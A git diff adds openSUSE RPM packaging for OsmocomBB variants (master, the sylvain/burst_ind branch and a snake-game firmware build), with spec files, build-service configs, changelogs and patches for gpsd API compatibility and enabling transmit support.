+Fri Dec 19 21:47:08 UTC 2014 - mardnh@gmx.de
+
+- specfile cleanup
+
+-------------------------------------------------------------------
+Mon Aug 26 20:06:43 UTC 2013 - mardnh@gmx.de
+
+- initial package written from scratch
+
diff --git a/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.rpmlintrc b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.spec b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.spec
new file mode 100644
index 0000000..15b6cac
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-snake/osmocom-bb-snake.spec
@@ -0,0 +1,102 @@
+#
+# spec file for package osmocom-bb-snake
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-snake
+
+Name: osmocom-bb-snake
+Version: 0.0.0.git1371651005.c56ff0c9
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (snake)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+Cool Firmware-Hack from <Marcel `sdrfnord` McKinnon>
+for playing the game snake on OsmocomBB-compatible phones.
+Requires Sitronix ST7558 LCD Controller!
+(only Motorola C115/C117/C123/C121/C118)
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (snake)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+Cool Firmware-Hack from <Marcel `sdrfnord` McKinnon>
+for playing the game snake on OsmocomBB-compatible phones.
+Requires Sitronix ST7558 LCD Controller!
+(only Motorola C115/C117/C123/C121/C118)
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+
+%build
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags} APPLICATIONS="chainload snake_game" BOARDS="compal_e88"
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags} APPLICATIONS="chainload snake_game" BOARDS="compal_e88"
+%endif
+
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-host-Add-support-for-the-new-gpsd-API.patch b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-host-Add-support-for-the-new-gpsd-API.patch
new file mode 100644
index 0000000..e83f435
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-host-Add-support-for-the-new-gpsd-API.patch
@@ -0,0 +1,74 @@
+From 9dd1f00e836044d9378350882e54c8c7442b3e60 Mon Sep 17 00:00:00 2001
+From: Paul Wise <pabs3@bonedaddy.net>
+Date: Tue, 3 Jan 2012 17:09:25 +0800
+Subject: [PATCH] host: Add support for the new gpsd API
+
+Written-by: Paul Wise <pabs3@bonedaddy.net>
+Acked-by: Peter Stuge <peter@stuge.se>
+Signed-off-by: Sylvain Munaut <tnt@246tNt.com>
+---
+ src/host/layer23/src/common/gps.c | 23 ++++++++++++++++++++++-
+ 1 file changed, 22 insertions(+), 1 deletion(-)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 38aae2ca..e9aaa97c 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -56,7 +56,12 @@ static struct osmo_fd gps_bfd;
+
+ #ifdef _HAVE_GPSD
+
+-static struct gps_data_t* gdata;
++static struct gps_data_t* gdata = NULL;
++
++#if GPSD_API_MAJOR_VERSION >= 5
++static struct gps_data_t _gdata;
++#define gps_poll gps_read
++#endif
+
+ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ {
+@@ -69,9 +74,15 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ if (gdata->online)
+ goto gps_not_ready;
+
++#if GPSD_API_MAJOR_VERSION >= 5
++ /* gps has no data */
++ if (gps_waiting(gdata, 500))
++ goto gps_not_ready;
++#else
+ /* gps has no data */
+ if (gps_waiting(gdata))
+ goto gps_not_ready;
++#endif
+
+ /* polling returned an error */
+ if (gps_poll(gdata))
+@@ -111,7 +122,14 @@ int osmo_gpsd_open(void)
+ gps_bfd.when = BSC_FD_READ;
+ gps_bfd.cb = osmo_gpsd_cb;
+
++#if GPSD_API_MAJOR_VERSION >= 5
++ if (gps_open(g.gpsd_host, g.gpsd_port, &_gdata) == -1)
++ gdata = NULL;
++ else
++ gdata = &_gdata;
++#else
+ gdata = gps_open(g.gpsd_host, g.gpsd_port);
++#endif
+ if (gdata == NULL) {
+ LOGP(DGPS, LOGL_ERROR, "Can't connect to gpsd\n");
+ return -1;
+@@ -139,6 +157,9 @@ void osmo_gpsd_close(void)
+
+ osmo_fd_unregister(&gps_bfd);
+
++#if GPSD_API_MAJOR_VERSION >= 5
++ gps_stream(gdata, WATCH_DISABLE, NULL);
++#endif
+ gps_close(gdata);
+ gps_bfd.fd = -1; /* -1 or 0 indicates: 'close' */
+ }
+--
+2.16.4
+
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.18.patch b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.18.patch
new file mode 100644
index 0000000..d1a2ec4
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.18.patch
@@ -0,0 +1,48 @@
+From 4f85fb30bc77e4bb4c3b9187a48a0a5a0a8cbb5a Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 5 Nov 2018 20:22:45 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.18
+
+Change-Id: I0e97d3e8c3688064c959ea60ecef50cfbbc1bcd6
+---
+ src/host/layer23/src/common/gps.c | 15 +++++++++++++--
+ 1 file changed, 13 insertions(+), 2 deletions(-)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 3ec7377c..35ee4167 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -60,9 +60,20 @@ static struct gps_data_t* gdata = NULL;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
+ static struct gps_data_t _gdata;
+-#define gps_poll gps_read
+ #endif
+
++static inline int compat_gps_read(struct gps_data_t *data)
++{
++/* API break in gpsd 6bba8b329fc7687b15863d30471d5af402467802 */
++#if GPSD_API_MAJOR_VERSION >= 7 && GPSD_API_MINOR_VERSION >= 0
++ return gps_read(data, NULL, 0);
++#elif GPSD_API_MAJOR_VERSION >= 5
++ return gps_read(data);
++#else
++ return gps_poll(data);
++#endif
++}
++
+ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ {
+ struct tm *tm;
+@@ -85,7 +96,7 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ #endif
+
+ /* polling returned an error */
+- if (gps_poll(gdata))
++ if (compat_gps_read(gdata))
+ goto gps_not_ready;
+
+ /* data are valid */
+--
+2.16.4
+
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.20.patch b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.20.patch
new file mode 100644
index 0000000..8ae9b9b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/0001-layer23-Fix-build-against-gpsd-3.20.patch
@@ -0,0 +1,45 @@
+From 5738e579b29b00b5f23c4762d15912a4cd391fd9 Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 13 Jan 2020 17:28:18 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.20
+
+During 3.19->3.20 dev cycle, some fields were transformed from
+timestamp_t or double to timespec_t. See for instance gpsd.git
+f7c230fceb6d64483757f8c32afb98e6a2cb9413.
+
+Change-Id: Ie8ba19d030b6f46f2d8afc270a732ce8c26c438f
+---
+ src/host/layer23/src/common/gps.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 35ee4167..807beed4 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -82,7 +82,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ g.valid = 0;
+
+ /* gps is offline */
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ if (gdata->online.tv_sec || gdata->online.tv_nsec)
++#else
+ if (gdata->online)
++#endif
+ goto gps_not_ready;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
+@@ -102,7 +106,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ /* data are valid */
+ if (gdata->set & LATLON_SET) {
+ g.valid = 1;
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ g.gmt = gdata->fix.time.tv_sec;
++#else
+ g.gmt = gdata->fix.time;
++#endif
+ tm = localtime(&g.gmt);
+ diff = time(NULL) - g.gmt;
+ g.latitude = gdata->fix.latitude;
+--
+2.26.2
+
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_service b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_service
new file mode 100644
index 0000000..f9a71f7
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">sylvain/burst_ind</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_servicedata b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_servicedata
new file mode 100644
index 0000000..08ea4b6
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">07ce6faff389dcaedc9b11ee4245d2a310f7612b</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-enable-tx.patch b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-enable-tx.patch
new file mode 100644
index 0000000..fe0b3b2
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-enable-tx.patch
@@ -0,0 +1,13 @@
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index 388a345e..d8e467c1 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -85,7 +85,7 @@ ANY_APP_LIBS+=calypso/libcalypso.a layer1/liblayer1.a lib/libmini.a comm/libcomm
+ -include Makefile.inc
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.changes b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.changes
new file mode 100644
index 0000000..13142cc
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.changes
@@ -0,0 +1,10 @@
+-------------------------------------------------------------------
+Thu Dec 27 22:59:38 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-layer23-Fix-build-against-gpsd-3.18.patch
+
+-------------------------------------------------------------------
+Mon Jul 2 14:20:34 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0.git1391535122.07ce6faf
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.patch b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.patch
new file mode 100644
index 0000000..04dc868
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.patch
@@ -0,0 +1,10 @@
+diff --git a/src/host/layer23/src/transceiver/Makefile.am b/src/host/layer23/src/transceiver/Makefile.am
+index e40101da..d8022e7a 100644
+--- a/src/host/layer23/src/transceiver/Makefile.am
++++ b/src/host/layer23/src/transceiver/Makefile.am
+@@ -1,4 +1,4 @@
+-AM_CFLAGS = -Wall $(all_includes) -I$(top_srcdir)/include $(LIBOSMOCORE_CFLAGS) $(LIBOSMOGSM_CFLAGS) $(LIBSOSMODSP_CFLAGS)
++AM_CFLAGS = -Wall $(all_includes) -I$(top_srcdir)/include $(LIBOSMOCORE_CFLAGS) $(LIBOSMOGSM_CFLAGS) $(LIBOSMODSP_CFLAGS)
+ LDADD = ../common/liblayer23.a $(LIBOSMOCORE_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMOGSM_LIBS) $(LIBOSMOCODEC_LIBS) $(LIBOSMODSP_LIBS)
+
+ bin_PROGRAMS = transceiver
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.rpmlintrc b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.spec b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.spec
new file mode 100644
index 0000000..492ef8f
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-sylvain-burst-ind/osmocom-bb-sylvain-burst-ind.spec
@@ -0,0 +1,135 @@
+#
+# spec file for package osmocom-bb-sylvain-burst-ind
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-sylvain-burst-ind
+
+Name: osmocom-bb-sylvain-burst-ind
+Version: 0.0.0.git1391535122.07ce6faf
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (sylvain/burst_ind)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+Patch1: osmocom-bb-enable-tx.patch
+Patch2: 0001-host-Add-support-for-the-new-gpsd-API.patch
+Patch3: 0001-layer23-Fix-build-against-gpsd-3.18.patch
+Patch4: 0001-layer23-Fix-build-against-gpsd-3.20.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+# SLES does not provide gpsd-devel, so build without gps-support on those systems
+%if 0%{?is_opensuse}
+BuildRequires: pkgconfig(libgps)
+%endif
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: pkgconfig(libosmodsp)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+# for git-version-gen
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (sylvain/burst_ind)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+%patch1 -p1
+%patch2 -p1
+%patch3 -p1
+%patch4 -p1
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags}
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags}
+%endif
+
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb/_service b/rpm-local/spec/osmocom-bb/_service
new file mode 100644
index 0000000..4c61481
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">master</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb/_servicedata b/rpm-local/spec/osmocom-bb/_servicedata
new file mode 100644
index 0000000..40da4c1
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">901ac89735d2bb40d774184587aabf4c8940ce63</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb/osmocom-bb-enable-tx.patch b/rpm-local/spec/osmocom-bb/osmocom-bb-enable-tx.patch
new file mode 100644
index 0000000..85a49ab
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/osmocom-bb-enable-tx.patch
@@ -0,0 +1,13 @@
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index 42f7ad4..b816061 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -127,7 +127,7 @@ INCLUDES=-Iinclude/ -I../../../include -I../../shared/libosmocore/include
+ #
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/rpm-local/spec/osmocom-bb/osmocom-bb-pkgconfig-find-lua.patch b/rpm-local/spec/osmocom-bb/osmocom-bb-pkgconfig-find-lua.patch
new file mode 100644
index 0000000..335481b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/osmocom-bb-pkgconfig-find-lua.patch
@@ -0,0 +1,13 @@
+diff --git a/src/host/layer23/configure.ac b/src/host/layer23/configure.ac
+index a5938c7a..5233e35e 100644
+--- a/src/host/layer23/configure.ac
++++ b/src/host/layer23/configure.ac
+@@ -22,7 +22,7 @@ AC_SUBST([LIBGPS_LIBS])
+
+
+ dnl optional dependencies
+-PKG_CHECK_MODULES(LIBLUA, lua53, [
++PKG_CHECK_MODULES(LIBLUA, lua5.3, [
+ WITH_LUA=1], [
+ WITH_LUA=0])
+ AC_SUBST([WITH_LUA])
diff --git a/rpm-local/spec/osmocom-bb/osmocom-bb.changes b/rpm-local/spec/osmocom-bb/osmocom-bb.changes
new file mode 100644
index 0000000..a909311
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb/osmocom-bb.changes
@@ -0,0 +1,1445 @@
+-------------------------------------------------------------------
+Wed May 06 20:04:01 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1588674152.901ac897:
+ * mobile: loopback: support EFR
+ * mobile: traffic req check: support EFR
+ * mobile: implement 'loopback' TCH frame I/O handler
+
+-------------------------------------------------------------------
+Tue May 05 20:04:37 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1588654951.785450c4:
+ * mobile: add audio config, with unused audio loopback setting
+
+-------------------------------------------------------------------
+Sat Apr 25 20:04:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1587834514.3425527f:
+ * firmware/rfch.[ch]: Document functions + constify input arguments
+
+-------------------------------------------------------------------
+Tue Apr 14 20:04:04 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1586384039.b217b9b3:
+ * trxcon/logging: print category, level and extended timestamp
+ * trx_toolkit/app_common: add options to enable time printing
+ * trx_toolkit/app_common: introduce auxiliary add_log_handler()
+
+-------------------------------------------------------------------
+Wed Apr 01 20:04:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1585736334.67c49ba6:
+ * firmware/layer1: introduce experimental PDCH support
+
+-------------------------------------------------------------------
+Mon Mar 30 20:03:39 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1585570967.930d7240:
+ * trx_toolkit/trx_sniff.py: add options to filter bursts by RSSI
+ * trx_toolkit/trx_sniff.py: add option to ignore NOPE / IDLE indications
+ * trx_toolkit/trx_sniff.py: pass the whole msg to burst_pass_filter()
+
+-------------------------------------------------------------------
+Tue Mar 24 21:03:43 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1584444304.4162b27d:
+ * layer23/l1ctl: fix: do not pass PDCH and CBCH frames to LAPDm
+
+-------------------------------------------------------------------
+Mon Mar 16 21:03:23 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1584354762.f889e916:
+ * trxcon/scheduler: print TDMA statistics on lchan deactivation
+ * trxcon/scheduler: be safe against a theoretical integer overflow
+ * trxcon/scheduler: do not abort on incomplete set of bursts
+ * trxcon/scheduler: TCH/F: fix Downlink burst completeness check
+ * trxcon/scheduler: align Downlink reception to the first burst
+ * trxcon/scheduler: constify Downlink burst bits where possible
+ * trxcon/scheduler: substitute lost TDMA frames on Downlink
+ * trxcon/scheduler: refactor TDMA frame number calculation
+
+-------------------------------------------------------------------
+Tue Mar 10 21:03:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1583871844.b9ab7150:
+ * virtphy: Delay response between L1SAP_PM_REQ and L1SAP_PM_CONF
+ * virtphy: Add command line arguments to set multicast netdev + TTL
+ * virtphy: Sync virtual_um.[ch] with osmo-bts
+
+-------------------------------------------------------------------
+Mon Mar 09 21:03:10 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1583778949.419f617a:
+ * virtphy: Fix GSMTAP ARFCN use with multi-TRX BTS
+ * virt_phy: implement GSMTAP_CHANNEL_VOICE
+ * trxcon/scheduler: fix n_errors for BFI triggered by FACCH
+ * trxcon/scheduler: FACCH: ensure fake measurements for BFI
+ * trxcon/scheduler: refactor Downlink measurement processing
+ * trxcon/scheduler: TCH/H & FACCH/H: fix notes on interleaving
+ * trxcon/scheduler: make TDMA_FN_INC(fn) behave like ++fn
+
+-------------------------------------------------------------------
+Sat Mar 07 21:03:16 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1583594746.a1be0a6b:
+ * cbch_sniff: Use CCCH_MODE_COMBINED_CBCH, not CCCH_MODE_COMBINED
+ * virtphy: Don't pass CBCH to L1CTL if not requested by application
+ * virt_l1_sched_execute: talloc_free() TDMA item after unlinking it
+ * cosmetic: Use INIT_LLIST_HEAD() and llist_add_tail()
+ * mobile: fix gsm_recv_voice: pull l1ctl header from TCH payload
+ * remove unused func decl
+
+-------------------------------------------------------------------
